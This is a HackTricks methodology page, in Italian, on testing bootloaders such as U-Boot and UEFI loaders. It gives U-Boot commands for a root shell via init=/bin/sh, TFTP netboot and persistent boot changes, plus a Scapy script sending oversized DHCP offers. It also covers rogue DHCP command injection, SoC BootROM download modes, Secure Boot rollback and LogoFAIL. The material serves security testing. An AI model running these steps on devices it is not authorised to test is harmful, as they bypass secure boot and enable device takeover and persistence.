Bootloader Testing
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
I seguenti passaggi sono consigliati per modificare le configurazioni di startup del dispositivo e testare bootloaders come U-Boot e loader di classe UEFI. Concentrarsi sullâottenimento di code execution precoce, valutare le signature/rollback protections e abusare dei percorsi di recovery o network-boot.
Related: MediaTek secure-boot bypass via bl2_ext patching:
Android Mediatek Secure Boot Bl2 Ext Bypass El3
U-Boot quick wins and environment abuse
- Access the interpreter shell
- Durante il boot, premere un tasto di break noto (spesso qualsiasi tasto, 0, space, o una sequenza âmagicaâ specifica della board) prima che
bootcmdvenga eseguito per entrare al prompt di U-Boot.
- Inspect boot state and variables
- Comandi utili:
printenv(dump dellâenvironment)bdinfo(info sulla board, indirizzi di memoria)help bootm; help booti; help bootz(metodi supportati per boot del kernel)help ext4load; help fatload; help tftpboot(loader disponibili)
- Modify boot arguments to get a root shell
- Aggiungere
init=/bin/shin modo che il kernel inizi una shell invece del normale init:
# printenv
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
# saveenv
# boot # or: run bootcmd
- Netboot from your TFTP server
- Configurare la rete e scaricare un kernel/fit image dalla LAN:
# setenv ipaddr 192.168.2.2 # device IP
# setenv serverip 192.168.2.1 # TFTP server IP
# saveenv; reset
# ping ${serverip}
# tftpboot ${loadaddr} zImage # kernel
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
# setenv bootargs "${bootargs} init=/bin/sh"
# booti ${loadaddr} - ${fdt_addr_r}
- Persist changes via environment
- Se lo storage dellâenv non è write-protected, è possibile rendere persistenti le modifiche:
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
# saveenv
- Controllare variabili come
bootcount,bootlimit,altbootcmd,boot_targetsche influenzano i percorsi di fallback. Valori mal configurati possono permettere ripetuti accessi alla shell.
- Check debug/unsafe features
- Cercare:
bootdelay> 0,autobootdisabilitato,usb start; fatload usb 0:1 ...non restrittivi, abilitĂ diloady/loadsvia serial,env importda media non affidabili, e kernel/ramdisk caricati senza signature checks.
- U-Boot image/verification testing
- Se la piattaforma dichiara secure/verified boot con FIT images, provare sia immagini unsigned che manomesse:
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted
- Lâassenza di
CONFIG_FIT_SIGNATURE/CONFIG_(SPL_)FIT_SIGNATUREo il comportamento legacyverify=nspesso permette il boot di payload arbitrari.
Network-boot surface (DHCP/PXE) and rogue servers
- PXE/DHCP parameter fuzzing
- Lâhandling legacy BOOTP/DHCP di U-Boot ha avuto problemi di memory-safety. Per esempio, CVEâ2024â42040 descrive una memory disclosure tramite risposte DHCP craftate che possono leak byte dalla memoria di U-Boot sulla rete. Eseguire i percorsi di DHCP/PXE con valori eccessivamente lunghi o edge-case (option 67 bootfile-name, vendor options, file/servername fields) e osservare blocchi/leak.
- Minimal Scapy snippet per stressare i parametri di boot durante il netboot:
from scapy.all import *
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src='192.168.2.1', dst='255.255.255.255')/
UDP(sport=67, dport=68)/
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
DHCP(options=[('message-type','offer'),
('server_id','192.168.2.1'),
# Intentionally oversized and strange values
('bootfile_name','A'*300),
('vendor_class_id','B'*240),
'end']))
sendp(offer, iface='eth0', loop=1, inter=0.2)
- Verificare anche se i campi filename del PXE vengono passati alla shell/logic del loader senza sanitizzazione quando concatenati a script di provisioning lato OS.
- Rogue DHCP server command injection testing
- Impostare un rogue DHCP/PXE service e tentare di iniettare caratteri nei campi filename o options per raggiungere interpreter di comandi nelle fasi successive della catena di boot. Metasploitâs DHCP auxiliary,
dnsmasq, o script Scapy custom funzionano bene. Isolare prima la rete di laboratorio.
SoC ROM recovery modes that override normal boot
Molti SoC espongono una modalitĂ BootROM âloaderâ che accetta codice via USB/UART anche quando le immagini flash sono invalide. Se i fuse di secure-boot non sono bruciati, questo può fornire arbitrary code execution molto presto nella catena.
- NXP i.MX (Serial Download Mode)
- Tools:
uuu(mfgtools3) orimx-usb-loader. - Example:
imx-usb-loader u-boot.imxper pushare ed eseguire un U-Boot custom da RAM. - Allwinner (FEL)
- Tool:
sunxi-fel. - Example:
sunxi-fel -v uboot u-boot-sunxi-with-spl.binorsunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000. - Rockchip (MaskROM)
- Tool:
rkdeveloptool. - Example:
rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.binper stageare un loader e uploadare un U-Boot custom.
Valutare se il dispositivo ha secure-boot eFuses/OTP bruciati. Se no, le BootROM download modes frequentemente bypassano qualsiasi verifica di livello superiore (U-Boot, kernel, rootfs) eseguendo il vostro first-stage payload direttamente da SRAM/DRAM.
UEFI/PC-class bootloaders: quick checks
- ESP tampering and rollback testing
- Montare la EFI System Partition (ESP) e cercare componenti del loader:
EFI/Microsoft/Boot/bootmgfw.efi,EFI/BOOT/BOOTX64.efi,EFI/ubuntu/shimx64.efi,grubx64.efi, percorsi del vendor logo. - Provare a bootare con componenti signed downgraded o noti vulnerabili se le revoche di Secure Boot (dbx) non sono aggiornate. Se la piattaforma ancora si fida di vecchi shims/bootmanagers, spesso è possibile caricare il proprio kernel o
grub.cfgdallâESP per ottenere persistence.
- Boot logo parsing bugs (LogoFAIL class)
- Diversi firmware OEM/IBV erano vulnerabili a flaw di parsing di immagini in DXE che processano boot logos. Se un attaccante può posizionare unâimmagine craftata sullâESP in un percorso vendor-specific (es.,
\EFI\<vendor>\logo\*.bmp) e riavviare, code execution durante lâearly boot può essere possibile anche con Secure Boot abilitato. Testare se la piattaforma accetta logo forniti dallâutente e se quei percorsi sono scrivibili dallâOS.
Hardware caution
Essere cauti quando si interagisce con SPI/NAND flash durante lâearly boot (es., mettendo a massa pin per bypassare letture) e consultare sempre il datasheet della flash. Cortocircuiti temporizzati male possono corrompere il dispositivo o il programmer.
Notes and additional tips
- Provare
env export -t ${loadaddr}eenv import -t ${loadaddr}per muovere blob di environment tra RAM e storage; alcune piattaforme permettono lâimport dellâenv da media removibili senza autenticazione. - Per persistence su sistemi Linux che bootano via
extlinux.conf, modificare la rigaAPPEND(per iniettareinit=/bin/shord.break) sulla boot partition spesso basta quando non sono imposte signature checks. - Se lo userland fornisce
fw_printenv/fw_setenv, verificare che/etc/fw_env.configcorrisponda al reale storage dellâenv. Offset mal configurati permettono di leggere/scrivere la regione MTD sbagliata.
References
- https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
- https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot
- https://nvd.nist.gov/vuln/detail/CVE-2024-42040
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

